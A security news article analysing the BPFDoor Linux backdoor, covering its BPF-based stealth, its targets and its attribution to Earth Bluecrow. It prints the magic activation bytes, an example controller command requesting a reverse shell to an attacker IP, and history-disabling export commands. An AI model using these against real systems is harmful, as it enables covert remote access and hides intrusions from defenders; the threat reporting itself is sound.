Advanced Linux Backdoor BPFDoor Targets Critical Infrastructure Across Multiple Regions
BPFDoor, a highly sophisticated Linux backdoor malware, has been identified targeting organizations throughout Asia, the Middle East, and Africa. This advanced threat employs Berkeley Packet Filtering (BPF) technology to monitor network traffic at the kernel level, effectively evading standard detection methods while maintaining persistent system access.
Organizations in telecommunications, finance, and retail sectors have been primary targets, with documented attacks in South Korea, Hong Kong, Myanmar, Malaysia, and Egypt. The malware’s distinctive ability to function without listening on network ports renders it invisible to conventional port scanning security measures, allowing extended periods of undetected operation.
Security researchers at Trend Micro attribute these attacks to Earth Bluecrow (also known as Red Menshen), an advanced persistent threat group that has deployed BPFDoor in cyberespionage campaigns. Evidence suggests this group has been operational for at least four years, with documented incidents dating back to 2021.
BPFDoor achieves its stealth by injecting BPF filters directly into the operating system’s kernel. These filters inspect network packets and activate when detecting specific “magic sequences” – predetermined byte patterns that trigger backdoor functions. This rootkit-like behavior enables the malware to integrate with the system, altering process names and employing other evasion techniques to avoid detection.
Reverse Shell Capabilities Enhance Network Penetration
Central to BPFDoor’s threat profile is its controller module, which establishes reverse shell connections to compromised systems. This functionality allows attackers to expand their reach within compromised networks, facilitating lateral movement and access to additional systems and sensitive information.
The controller initiates connections by sending activation packets containing magic bytes (such as 0x5293 for TCP or 0x7255 for UDP), along with the attacker’s IP address, port, and authentication credentials. When properly configured, this triggers a reverse shell connection from the victim system to the attacker’s infrastructure.

A typical command might look like: ./controller -cd 22 -h 192.168.32.156 -ms 8000
This instructs the controller to request a reverse shell connection from the infected machine back to the attacker’s system on port 8000.
Evidence suggests the attackers specifically target systems running MySQL database software, with commands designed to eliminate activity traces:
export MYSQL_HISTFILE=/dev/null
export HISTFILE=/dev/null
These commands effectively disable command history logging, further complicating detection efforts.
For cybersecurity teams, BPFDoor presents significant challenges due to its multi-protocol operation (TCP, UDP, and ICMP) and the attackers’ ability to modify activation sequences. Organizations require advanced monitoring solutions capable of identifying BPFDoor’s distinctive communication patterns and activation sequences as this sophisticated threat continues to evolve.




